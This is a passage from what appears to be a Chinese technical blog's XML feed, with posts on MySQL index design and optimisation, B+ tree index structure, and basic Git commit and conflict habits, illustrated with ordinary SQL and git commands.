id="3-1-最左前缀原则"><a href="#3-1-最左前缀原则" class="headerlink" title="3.1 最左前缀原则"></a>3.1 最左前缀原则</h2><p>联合索引(a, b, c)等效于创建了(a)、(a,b)、(a,b,c)三个索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 有效：用到索引</span></span><br><span class="line"><span class="keyword">WHERE</span> a <span class="operator">=</span> <span class="number">1</span></span><br><span class="line"><span class="keyword">WHERE</span> a <span class="operator">=</span> <span class="number">1</span> <span class="keyword">AND</span> b <span class="operator">=</span> <span class="number">2</span></span><br><span class="line"><span class="keyword">WHERE</span> a <span class="operator">=</span> <span class="number">1</span> <span class="keyword">AND</span> b <span class="operator">=</span> <span class="number">2</span> <span class="keyword">AND</span> c <span class="operator">=</span> <span class="number">3</span></span><br><span class="line"><span class="keyword">WHERE</span> a <span class="operator">=</span> <span class="number">1</span> <span class="keyword">AND</span> c <span class="operator">=</span> <span class="number">3</span>   <span class="comment">-- 只用a</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 无效：跳过最左列</span></span><br><span class="line"><span class="keyword">WHERE</span> b <span class="operator">=</span> <span class="number">2</span></span><br><span class="line"><span class="keyword">WHERE</span> b <span class="operator">=</span> <span class="number">2</span> <span class="keyword">AND</span> c <span class="operator">=</span> <span class="number">3</span></span><br><span class="line"><span class="keyword">WHERE</span> c <span class="operator">=</span> <span class="number">3</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-联合索引列顺序设计"><a href="#3-2-联合索引列顺序设计" class="headerlink" title="3.2 联合索引列顺序设计"></a>3.2 联合索引列顺序设计</h2><p><strong>原则一：等值查询列在前，范围查询列在后</strong></p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查询条件</span></span><br><span class="line"><span class="keyword">WHERE</span> a <span class="operator">=</span> <span class="number">1</span> <span class="keyword">AND</span> b <span class="operator">&gt;</span> <span class="number">10</span> <span class="keyword">AND</span> c <span class="operator">=</span> <span class="number">5</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 推荐索引：(c, a, b) 或 (a, c, b)</span></span><br><span class="line"><span class="comment">-- 不推荐：(a, b, c)，因为b是范围查询，c无法使用索引</span></span><br></pre></td></tr></table></figure><p><strong>原则二：区分度高的列在前</strong></p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 假设：status有5种值，user_id有100万种值</span></span><br><span class="line"><span class="comment">-- 查询：WHERE status = 1 AND user_id = 100</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 推荐索引：(user_id, status)</span></span><br><span class="line"><span class="comment">-- 原因：user_id区分度高，先过滤掉大部分数据</span></span><br></pre></td></tr></table></figure><p><strong>原则三：排序列放入索引</strong></p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查询</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">100</span> </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> create_time <span class="keyword">DESC</span> </span><br><span class="line">LIMIT <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 推荐索引：idx_user_time(user_id, create_time)</span></span><br><span class="line"><span class="comment">-- 避免文件排序，直接利用索引有序性</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-实际案例"><a href="#3-3-实际案例" class="headerlink" title="3.3 实际案例"></a>3.3 实际案例</h2><p><strong>电商订单表索引设计</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">    id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">    user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">    status TINYINT <span class="keyword">NOT NULL</span> <span class="keyword">DEFAULT</span> <span class="number">0</span>,</span><br><span class="line">    create_time DATETIME <span class="keyword">NOT NULL</span>,</span><br><span class="line">    pay_time DATETIME,</span><br><span class="line">    amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">    <span class="comment">-- 其他字段</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">-- 核心索引</span></span><br><span class="line">    <span class="keyword">PRIMARY KEY</span> (id),</span><br><span class="line">    </span><br><span class="line">    <span class="comment">-- 用户查询自己的订单列表（高频）</span></span><br><span class="line">    KEY idx_user_time (user_id, create_time),</span><br><span class="line">    </span><br><span class="line">    <span class="comment">-- 按状态查询（管理后台）</span></span><br><span class="line">    KEY idx_status_time (status, create_time),</span><br><span class="line">    </span><br><span class="line">    <span class="comment">-- 支付超时查询（定时任务）</span></span><br><span class="line">    KEY idx_status_paytime (status, pay_time)</span><br><span class="line">) ENGINE<span class="operator">=</span>InnoDB;</span><br></pre></td></tr></table></figure><h2 id="四、前缀索引"><a href="#四、前缀索引" class="headerlink" title="四、前缀索引"></a>四、前缀索引</h2><p>#</p><h2 id="4-1-适用场景"><a href="#4-1-适用场景" class="headerlink" title="4.1 适用场景"></a>4.1 适用场景</h2><p>长字符串列（如URL、邮箱、描述）的索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 完整索引占用空间大</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_url <span class="keyword">ON</span> pages(url);  <span class="comment">-- url可能很长</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 前缀索引更省空间</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_url <span class="keyword">ON</span> pages(url(<span class="number">20</span>));</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-前缀长度选择"><a href="#4-2-前缀长度选择" class="headerlink" title="4.2 前缀长度选择"></a>4.2 前缀长度选择</h2><p>目标是选择性接近完整列的选择性：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 测试不同前缀长度的选择性</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    <span class="built_in">COUNT</span>(<span class="keyword">DISTINCT</span> <span class="keyword">LEFT</span>(url, <span class="number">10</span>)) <span class="operator">/</span> <span class="built_in">COUNT</span>(<span class="keyword">DISTINCT</span> url) <span class="keyword">AS</span> sel_10,</span><br><span class="line">    <span class="built_in">COUNT</span>(<span class="keyword">DISTINCT</span> <span class="keyword">LEFT</span>(url, <span class="number">20</span>)) <span class="operator">/</span> <span class="built_in">COUNT</span>(<span class="keyword">DISTINCT</span> url) <span class="keyword">AS</span> sel_20,</span><br><span class="line">    <span class="built_in">COUNT</span>(<span class="keyword">DISTINCT</span> <span class="keyword">LEFT</span>(url, <span class="number">30</span>)) <span class="operator">/</span> <span class="built_in">COUNT</span>(<span class="keyword">DISTINCT</span> url) <span class="keyword">AS</span> sel_30,</span><br><span class="line">    <span class="built_in">COUNT</span>(<span class="keyword">DISTINCT</span> <span class="keyword">LEFT</span>(url, <span class="number">40</span>)) <span class="operator">/</span> <span class="built_in">COUNT</span>(<span class="keyword">DISTINCT</span> url) <span class="keyword">AS</span> sel_40</span><br><span class="line"><span class="keyword">FROM</span> pages;</span><br></pre></td></tr></table></figure><p><strong>建议</strong>：选择性达到0.9以上即可。</p><p>#</p><h2 id="4-3-前缀索引的限制"><a href="#4-3-前缀索引的限制" class="headerlink" title="4.3 前缀索引的限制"></a>4.3 前缀索引的限制</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 前缀索引无法用于覆盖索引</span></span><br><span class="line"><span class="keyword">SELECT</span> url <span class="keyword">FROM</span> pages <span class="keyword">WHERE</span> url <span class="operator">=</span> <span class="string">&#x27;https://example.com&#x27;</span>;</span><br><span class="line"><span class="comment">-- 即使只查url，也需要回表（因为索引只存了前缀）</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 前缀索引无法用于ORDER BY</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> pages <span class="keyword">ORDER</span> <span class="keyword">BY</span> url;</span><br><span class="line"><span class="comment">-- 可能使用文件排序</span></span><br></pre></td></tr></table></figure><h2 id="五、索引优化技术"><a href="#五、索引优化技术" class="headerlink" title="五、索引优化技术"></a>五、索引优化技术</h2><p>#</p><h2 id="5-1-索引条件下推（ICP）"><a href="#5-1-索引条件下推（ICP）" class="headerlink" title="5.1 索引条件下推（ICP）"></a>5.1 索引条件下推（ICP）</h2><p>MySQL 5.6引入的优化：在存储引擎层过滤数据，减少回表次数。</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 有联合索引(name, age, address)</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> </span><br><span class="line"><span class="keyword">WHERE</span> name <span class="operator">=</span> <span class="string">&#x27;张&#x27;</span> <span class="keyword">AND</span> age <span class="operator">&gt;</span> <span class="number">20</span> <span class="keyword">AND</span> address <span class="keyword">LIKE</span> <span class="string">&#x27;%北京%&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 无ICP：</span></span><br><span class="line"><span class="comment">-- 1. 用name找到所有记录</span></span><br><span class="line"><span class="comment">-- 2. 回表查完整数据</span></span><br><span class="line"><span class="comment">-- 3. 在Server层过滤age和address</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 有ICP：</span></span><br><span class="line"><span class="comment">-- 1. 用name找到记录</span></span><br><span class="line"><span class="comment">-- 2. 在引擎层用age过滤</span></span><br><span class="line"><span class="comment">-- 3. 只有符合条件的才回表</span></span><br></pre></td></tr></table></figure><p>查看是否使用ICP：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> ...;</span><br><span class="line"><span class="comment">-- Extra列显示&quot;Using index condition&quot;表示使用ICP</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-索引合并（Index-Merge）"><a href="#5-2-索引合并（Index-Merge）" class="headerlink" title="5.2 索引合并（Index Merge）"></a>5.2 索引合并（Index Merge）</h2><p>当WHERE条件涉及多个索引时，MySQL可能合并多个索引的结果：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 有idx_name和idx_age两个独立索引</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> <span class="string">&#x27;Alice&#x27;</span> <span class="keyword">OR</span> age <span class="operator">=</span> <span class="number">25</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- Index Merge Union</span></span><br><span class="line"><span class="comment">-- 分别查name和age，然后合并结果</span></span><br></pre></td></tr></table></figure><p>EXPLAIN中显示：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">type: index_merge</span><br><span class="line">key: idx_name, idx_age</span><br><span class="line">Extra: Using union(idx_name,idx_age)</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：索引合并不如联合索引高效，优先设计合适的联合索引。</p><p>#</p><h2 id="5-3-覆盖索引"><a href="#5-3-覆盖索引" class="headerlink" title="5.3 覆盖索引"></a>5.3 覆盖索引</h2><p>查询的所有列都在索引中，无需回表：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 联合索引(user_id, status, create_time)</span></span><br><span class="line"><span class="keyword">SELECT</span> user_id, status, create_time </span><br><span class="line"><span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">100</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 覆盖索引，Extra显示&quot;Using index&quot;</span></span><br></pre></td></tr></table></figure><p><strong>优化技巧</strong>：适当添加查询列到联合索引末尾，实现覆盖索引。</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 原索引：idx_user_status(user_id, status)</span></span><br><span class="line"><span class="comment">-- 查询：SELECT user_id, status, create_time FROM ...</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 优化为覆盖索引：</span></span><br><span class="line">KEY idx_user_status_time (user_id, status, create_time)</span><br></pre></td></tr></table></figure><h2 id="六、索引维护"><a href="#六、索引维护" class="headerlink" title="六、索引维护"></a>六、索引维护</h2><p>#</p><h2 id="6-1-查看索引使用情况"><a href="#6-1-查看索引使用情况" class="headerlink" title="6.1 查看索引使用情况"></a>6.1 查看索引使用情况</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看索引使用统计（MySQL 8.0）</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    TABLE_SCHEMA,</span><br><span class="line">    TABLE_NAME,</span><br><span class="line">    INDEX_NAME,</span><br><span class="line">    ROWS_SELECTED,</span><br><span class="line">    ROWS_INSERTED,</span><br><span class="line">    ROWS_DELETED</span><br><span class="line"><span class="keyword">FROM</span> performance_schema.table_io_waits_summary_by_index_usage</span><br><span class="line"><span class="keyword">WHERE</span> INDEX_NAME <span class="keyword">IS</span> <span class="keyword">NOT NULL</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-删除冗余索引"><a href="#6-2-删除冗余索引" class="headerlink" title="6.2 删除冗余索引"></a>6.2 删除冗余索引</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查找未使用的索引（MySQL 8.0）</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    object_schema,</span><br><span class="line">    object_name,</span><br><span class="line">    index_name</span><br><span class="line"><span class="keyword">FROM</span> performance_schema.table_io_waits_summary_by_index_usage</span><br><span class="line"><span class="keyword">WHERE</span> index_name <span class="keyword">IS</span> <span class="keyword">NOT NULL</span></span><br><span class="line">    <span class="keyword">AND</span> count_star <span class="operator">=</span> <span class="number">0</span></span><br><span class="line">    <span class="keyword">AND</span> object_schema <span class="keyword">NOT</span> <span class="keyword">IN</span> (<span class="string">&#x27;mysql&#x27;</span>, <span class="string">&#x27;performance_schema&#x27;</span>);</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-索引重建"><a href="#6-3-索引重建" class="headerlink" title="6.3 索引重建"></a>6.3 索引重建</h2><p>当索引页利用率低时，重建索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- MySQL 5.7: ALTER TABLE</span></span><br><span class="line"><span class="keyword">ALTER TABLE</span> <span class="keyword">user</span> ENGINE<span class="operator">=</span>InnoDB;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- MySQL 8.0: OPTIMIZE TABLE</span></span><br><span class="line">OPTIMIZE <span class="keyword">TABLE</span> <span class="keyword">user</span>;</span><br></pre></td></tr></table></figure><h2 id="七、索引设计检查清单"><a href="#七、索引设计检查清单" class="headerlink" title="七、索引设计检查清单"></a>七、索引设计检查清单</h2><p>#</p><h2 id="7-1-创建索引前检查"><a href="#7-1-创建索引前检查" class="headerlink" title="7.1 创建索引前检查"></a>7.1 创建索引前检查</h2><ul><li><input disabled="" type="checkbox"> 该列是否出现在WHERE、JOIN、ORDER BY、GROUP BY中？</li><li><input disabled="" type="checkbox"> 该列的选择性是否足够高（&gt;0.1）？</li><li><input disabled="" type="checkbox"> 是否已存在可以复用的联合索引？</li><li><input disabled="" type="checkbox"> 单表索引数量是否已超过5个？</li><li><input disabled="" type="checkbox"> 索引列的数据类型是否尽可能小？</li></ul><p>#</p><h2 id="7-2-联合索引设计检查"><a href="#7-2-联合索引设计检查" class="headerlink" title="7.2 联合索引设计检查"></a>7.2 联合索引设计检查</h2><ul><li><input disabled="" type="checkbox"> 是否符合最左前缀原则？</li><li><input disabled="" type="checkbox"> 等值查询列是否在前，范围查询列在后？</li><li><input disabled="" type="checkbox"> 是否包含ORDER BY的列？</li><li><input disabled="" type="checkbox"> 是否可以设计为覆盖索引？</li></ul><p>#</p><h2 id="7-3-索引优化检查"><a href="#7-3-索引优化检查" class="headerlink" title="7.3 索引优化检查"></a>7.3 索引优化检查</h2><ul><li><input disabled="" type="checkbox"> 是否使用了前缀索引替代长字符串索引？</li><li><input disabled="" type="checkbox"> 是否有冗余索引可以删除？</li><li><input disabled="" type="checkbox"> 是否有未使用的索引可以删除？</li><li><input disabled="" type="checkbox"> 是否定期检查索引碎片？</li></ul><h2 id="八、常见错误与解决方案"><a href="#八、常见错误与解决方案" class="headerlink" title="八、常见错误与解决方案"></a>八、常见错误与解决方案</h2><p>#</p><h2 id="8-1-索引过多导致写入慢"><a href="#8-1-索引过多导致写入慢" class="headerlink" title="8.1 索引过多导致写入慢"></a>8.1 索引过多导致写入慢</h2><p><strong>现象</strong>：插入、更新、删除操作变慢</p><p><strong>原因</strong>：每次写操作都要维护所有索引</p><p><strong>解决</strong>：</p><ol><li>删除未使用的索引</li><li>合并冗余索引</li><li>将部分查询移到从库</li></ol><p>#</p><h2 id="8-2-索引选择错误"><a href="#8-2-索引选择错误" class="headerlink" title="8.2 索引选择错误"></a>8.2 索引选择错误</h2><p><strong>现象</strong>：EXPLAIN显示使用了错误的索引</p><p><strong>解决</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 使用FORCE INDEX强制指定索引</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders FORCE INDEX (idx_user_time) </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">100</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 或使用ANALYZE TABLE更新统计信息</span></span><br><span class="line">ANALYZE <span class="keyword">TABLE</span> orders;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-3-隐式类型转换导致索引失效"><a href="#8-3-隐式类型转换导致索引失效" class="headerlink" title="8.3 隐式类型转换导致索引失效"></a>8.3 隐式类型转换导致索引失效</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 错误：phone是VARCHAR类型</span></span><br><span class="line"><span class="keyword">WHERE</span> phone <span class="operator">=</span> <span class="number">13800138000</span>   <span class="comment">-- 数字，发生隐式转换</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 正确</span></span><br><span class="line"><span class="keyword">WHERE</span> phone <span class="operator">=</span> <span class="string">&#x27;13800138000&#x27;</span>  <span class="comment">-- 字符串，使用索引</span></span><br></pre></td></tr></table></figure><h2 id="九、总结"><a href="#九、总结" class="headerlink" title="九、总结"></a>九、总结</h2><table><thead><tr><th>索引类型</th><th>适用场景</th><th>注意事项</th></tr></thead><tbody><tr><td>主键索引</td><td>每表必须</td><td>用自增整数，避免UUID</td></tr><tr><td>唯一索引</td><td>业务唯一性约束</td><td>不能含NULL</td></tr><tr><td>单列索引</td><td>单条件高频查询</td><td>选择性要高</td></tr><tr><td>联合索引</td><td>多条件组合查询</td><td>注意最左前缀和列顺序</td></tr><tr><td>前缀索引</td><td>长字符串列</td><td>无法覆盖索引</td></tr></tbody></table><p>好的索引设计需要：</p><ol><li>深入理解业务查询模式</li><li>掌握最左前缀等核心原则</li><li>利用EXPLAIN分析执行计划</li><li>持续监控和优化索引使用</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> MySQL </tag>
            
            <tag> 数据库 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Git 冲突解决的正确顺序</title>
      <link href="//git-chong-tu-jie-jue-de-zheng-que-shun-xu/"/>
      <url>//git-chong-tu-jie-jue-de-zheng-que-shun-xu/</url>
      
        <content type="html"><![CDATA[<h1 id="Git-冲突解决的正确顺序"><a href="#Git-冲突解决的正确顺序" class="headerlink" title="Git 冲突解决的正确顺序"></a>Git 冲突解决的正确顺序</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL索引原理与B+树结构</title>
      <link href="//mysql-index-b-plus-tree/"/>
      <url>//mysql-index-b-plus-tree/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL索引原理与B-树结构"><a href="#MySQL索引原理与B-树结构" class="headerlink" title="MySQL索引原理与B+树结构"></a>MySQL索引原理与B+树结构</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="一、为什么需要索引"><a href="#一、为什么需要索引" class="headerlink" title="一、为什么需要索引"></a>一、为什么需要索引</h2><p>#</p><h2 id="1-1-无索引的查询代价"><a href="#1-1-无索引的查询代价" class="headerlink" title="1.1 无索引的查询代价"></a>1.1 无索引的查询代价</h2><p>假设有一张用户表，包含100万条记录：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> id <span class="operator">=</span> <span class="number">500000</span>;</span><br></pre></td></tr></table></figure><p>如果没有索引，MySQL需要逐行扫描（全表扫描），直到找到匹配记录。时间复杂度为O(n)。</p><p>#</p><h2 id="1-2-索引的本质"><a href="#1-2-索引的本质" class="headerlink" title="1.2 索引的本质"></a>1.2 索引的本质</h2><p>索引是一种数据结构，用于快速定位数据。MySQL的InnoDB引擎使用B+树作为默认索引结构。</p><h2 id="二、B树与B-树"><a href="#二、B树与B-树" class="headerlink" title="二、B树与B+树"></a>二、B树与B+树</h2><p>#</p><h2 id="2-1-二叉搜索树的局限"><a href="#2-1-二叉搜索树的局限" class="headerlink" title="2.1 二叉搜索树的局限"></a>2.1 二叉搜索树的局限</h2><p>普通二叉搜索树在极端情况下会退化为链表，查找效率变为O(n)。即使使用AVL树或红黑树保持平衡，由于每个节点只存储一个关键字，当数据量巨大时，树的高度仍然很高，导致磁盘I/O次数过多。</p><p>#</p><h2 id="2-2-B树（Balanced-Tree）"><a href="#2-2-B树（Balanced-Tree）" class="headerlink" title="2.2 B树（Balanced Tree）"></a>2.2 B树（Balanced Tree）</h2><p>B树是一种多路平衡搜索树，每个节点可以存储多个关键字：</p><ul><li>每个节点最多有m个子节点（m阶B树）</li><li>除根节点外，每个节点至少有m/2个子节点</li><li>所有叶子节点在同一层</li></ul><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">      [30, 60]</span><br><span class="line">     /    |    \</span><br><span class="line">[10,20] [40,50] [70,80]</span><br></pre></td></tr></table></figure><p>B树的每个节点都存储数据，导致：</p><ul><li>单个节点能存储的键值对减少</li><li>树的高度相对较高</li><li>范围查询需要中序遍历，效率低</li></ul><p>#</p><h2 id="2-3-B-树的优势"><a href="#2-3-B-树的优势" class="headerlink" title="2.3 B+树的优势"></a>2.3 B+树的优势</h2><p>B+树是B树的改进版，也是MySQL索引的实际实现：</p><p><strong>结构特点</strong>：</p><ul><li>非叶子节点只存储键值，不存储数据</li><li>所有数据都存储在叶子节点</li><li>叶子节点之间通过指针相连，形成有序链表</li></ul><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">        [30 | 60]</span><br><span class="line">       /    |    \</span><br><span class="line"> [10|20] [40|50] [70|80]  ← 非叶子节点（仅索引键）</span><br><span class="line">   ↓       ↓       ↓</span><br><span class="line">数据页    数据页    数据页  ← 叶子节点（存数据+索引键）</span><br><span class="line">   ↕       ↕       ↕</span><br><span class="line">双向链表连接</span><br></pre></td></tr></table></figure><p><strong>核心优势</strong>：</p><ol><li><strong>更矮更胖</strong>：非叶子节点不存数据，单个节点容纳更多键，树高更低</li><li><strong>顺序访问</strong>：叶子节点链表连接，范围查询只需遍历链表</li><li><strong>稳定性能</strong>：所有查询都到达叶子节点，IO次数一致</li></ol><h2 id="三、InnoDB的B-树实现"><a href="#三、InnoDB的B-树实现" class="headerlink" title="三、InnoDB的B+树实现"></a>三、InnoDB的B+树实现</h2><p>#</p><h2 id="3-1-页（Page）结构"><a href="#3-1-页（Page）结构" class="headerlink" title="3.1 页（Page）结构"></a>3.1 页（Page）结构</h2><p>InnoDB以页为单位管理数据，默认每页16KB：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">+-----------------+</span><br><span class="line">|  File Header    |  ← 38字节，页号、上一页、下一页</span><br><span class="line">+-----------------+</span><br><span class="line">|  Page Header    |  ← 56字节，页状态、记录数量</span><br><span class="line">+-----------------+</span><br><span class="line">|  Infimum        |  ← 最小虚拟记录</span><br><span class="line">+-----------------+</span><br><span class="line">|  Supremum       |  ← 最大虚拟记录</span><br><span class="line">+-----------------+</span><br><span class="line">|  User Records   |  ← 实际数据记录（按主键排序）</span><br><span class="line">+-----------------+</span><br><span class="line">|  Free Space     |  ← 空闲空间</span><br><span class="line">+-----------------+</span><br><span class="line">|  Page Directory |  ← 页目录，加速页内查找</span><br><span class="line">+-----------------+</span><br><span class="line">|  File Trailer   |  ← 校验和</span><br><span class="line">+-----------------+</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-聚簇索引（Clustered-Index）"><a href="#3-2-聚簇索引（Clustered-Index）" class="headerlink" title="3.2 聚簇索引（Clustered Index）"></a>3.2 聚簇索引（Clustered Index）</h2><p>InnoDB表数据本身就是按B+树组织的索引结构，称为聚簇索引：</p><ul><li>叶子节点存储完整的行数据</li><li>数据按主键顺序物理存储</li></ul><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">    主键B+树</span><br><span class="line">       [10]</span><br><span class="line">      /    \</span><br><span class="line">   [3,7]   [15,20]</span><br><span class="line">     ↓       ↓</span><br><span class="line">+--------+ +--------+ +--------+</span><br><span class="line">| id=3   | | id=10  | | id=15  |</span><br><span class="line">| name=A | | name=B | | name=C |</span><br><span class="line">| ...    | | ...    | | ...    |</span><br><span class="line">+--------+ +--------+ +--------+</span><br><span class="line"></span><br><span class="line">叶子节点 = 完整的数据行</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>一个表只能有一个聚簇索引（主键）</li><li>查询主键效率最高</li><li>插入按主键顺序最快（避免页分裂）</li></ul><p>#</p><h2 id="3-3-二级索引（Secondary-Index）"><a href="#3-3-二级索引（Secondary-Index）" class="headerlink" title="3.3 二级索引（Secondary Index）"></a>3.3 二级索引（Secondary Index）</h2><p>非主键索引都是二级索引：</p><ul><li>叶子节点存储：索引列 + 主键值</li><li>查询时需要”回表”：先查二级索引获取主键，再查聚簇索引获取完整数据</li></ul><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"> name列的二级索引</span><br><span class="line">     [Bob]</span><br><span class="line">    /     \</span><br><span class="line">[Alice]  [David]</span><br><span class="line">   ↓        ↓</span><br><span class="line"> id=3     id=15   ← 叶子存主键值</span><br><span class="line"> </span><br><span class="line"> 回表查询：根据id=3再去聚簇索引查完整数据</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-4-覆盖索引"><a href="#3-4-覆盖索引" class="headerlink" title="3.4 覆盖索引"></a>3.4 覆盖索引</h2><p>如果查询的所有列都在二级索引中，无需回表：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 假设有联合索引(name, age)</span></span><br><span class="line"><span class="keyword">SELECT</span> id, name, age <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> <span class="string">&#x27;Alice&#x27;</span>;</span><br><span class="line"><span class="comment">-- 覆盖索引，不回表</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> <span 